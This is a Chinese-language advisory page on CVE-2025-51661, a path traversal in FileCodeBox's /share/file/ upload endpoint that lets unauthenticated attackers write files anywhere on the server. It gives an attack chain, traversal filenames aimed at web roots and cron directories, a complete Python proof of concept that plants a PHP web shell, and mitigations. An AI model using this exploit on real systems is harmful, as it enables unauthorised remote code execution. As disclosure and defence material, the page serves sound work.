IPBUF安全漏洞报告
English
CVE-2025-51661 CVSS 7.5 高危

CVE-2025-51661 FileCodeBox路径遍历导致任意文件写入漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-51661
漏洞类型
路径遍历/任意文件写入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FileCodeBox

相关标签

路径遍历任意文件写入FileCodeBoxCVE-2025-51661文件上传漏洞高危漏洞

漏洞概述

CVE-2025-51661是FileCodeBox v2.2及更早版本中的一个高危路径遍历漏洞。该漏洞存在于文件存储模块core/storage.py的SystemFileStorage.save_file方法中,攻击者可以通过构造特殊的路径遍历序列(如../)来突破应用程序的目录限制,将文件写入服务器上的任意位置。漏洞的利用无需任何认证,远程攻击者可以直接通过/share/file/上传端点发送恶意构造的POST请求即可实现任意文件写入。此漏洞可能导致严重的系统安全问题,包括但不限于:覆盖系统配置文件、写入恶意脚本或后门程序、修改应用程序代码等。由于该漏洞利用简单且影响范围广,建议受影响的用户立即采取修复措施。

技术细节

漏洞根源在于FileCodeBox的SystemFileStorage.save_file方法在处理用户上传的文件名时,直接使用用户输入的文件名构造保存路径,而没有对文件名进行安全验证。攻击者可以通过在文件名中嵌入路径遍历序列(如../../../etc/cron.d/malicious)来逃离预定的上传目录。漏洞利用过程如下:首先攻击者构造一个包含路径遍历序列的文件名,例如使用'../test.txt'或'../../../var/www/html/shell.php'作为文件名;然后向/share/file/上传端点发送POST请求,将恶意文件名作为filename参数;服务器端接收到请求后,直接使用用户提供的文件名构造save_path,调用文件保存逻辑将文件写入攻击者指定的位置。由于上传端点不需要任何认证,攻击者可以无限制地利用此漏洞进行任意文件写入操作,成功利用后可导致远程代码执行等严重后果。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先确认目标站点运行的是FileCodeBox应用,并通过访问页面或发送探测请求确认应用配置为使用本地文件系统存储(local filesystem storage)而非其他存储后端。
STEP 2
步骤2:构造恶意请求
攻击者构造一个包含路径遍历序列的恶意文件名,例如使用'../../../var/www/html/shell.php'或'../test.txt'等路径序列,意图将文件写入预定义上传目录之外的位置。
STEP 3
步骤3:发送恶意上传请求
攻击者向目标的/share/file/上传端点发送POST请求,将恶意构造的文件名作为filename参数。由于该端点无需任何认证,攻击者可以直接发起请求。
STEP 4
步骤4:文件写入验证
服务器端SystemFileStorage.save_file方法接收请求后,直接使用用户提供的文件名构造save_path,未进行任何路径验证或安全过滤,导致文件被写入攻击者指定的位置。
STEP 5
步骤5:权限提升与持久化
如果攻击者成功写入可执行脚本(如PHP shell)、定时任务或其他敏感文件,可进一步实现远程代码执行、持久化控制或对系统进行更深层次的破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-51661 PoC - Path Traversal leading to Arbitrary File Write in FileCodeBox v2.2 # Target: FileCodeBox with local filesystem storage configuration def exploit(target_url, file_content, target_path): """ Exploit path traversal vulnerability to write arbitrary files Args: target_url: Base URL of the vulnerable FileCodeBox instance file_content: Content to write to the target file target_path: Path where the file should be written (use ../ for traversal) Returns: bool: True if exploitation appears successful, False otherwise """ upload_url = f"{target_url.rstrip('/')}/share/file/" # Prepare the malicious filename with path traversal sequence # This will escape the intended upload directory malicious_filename = f"../../../{target_path}" # Prepare multipart form data files = { 'file': (malicious_filename, file_content, 'text/plain') } try: # Send the malicious upload request response = requests.post(upload_url, files=files, timeout=10) # Check if the upload was successful if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Target path: {target_path}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_51661_poc.py <target_url> <target_path>") print("Example: python cve_2025_51661_poc.py http://localhost:8000 var/www/html/shell.php") sys.exit(1) target = sys.argv[1] path = sys.argv[2] # Malicious content to write content = "<?php system($_GET['cmd']); ?>" print(f"[*] Exploiting CVE-2025-51661: FileCodeBox Path Traversal") print(f"[*] Target: {target}") print(f"[*] Writing to: {path}") exploit(target, content, path)

影响范围

FileCodeBox < v2.2

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 暂时将存储后端切换为非本地文件系统存储(如云存储服务);2) 在Web服务器层面配置URL过滤规则,拦截包含路径遍历序列的请求;3) 限制/share/file/端点的访问权限,启用认证机制;4) 对上传目录设置严格的文件系统权限,禁止写入可执行脚本文件;5) 启用Web应用防火墙(WAF)规则检测和阻止路径遍历攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表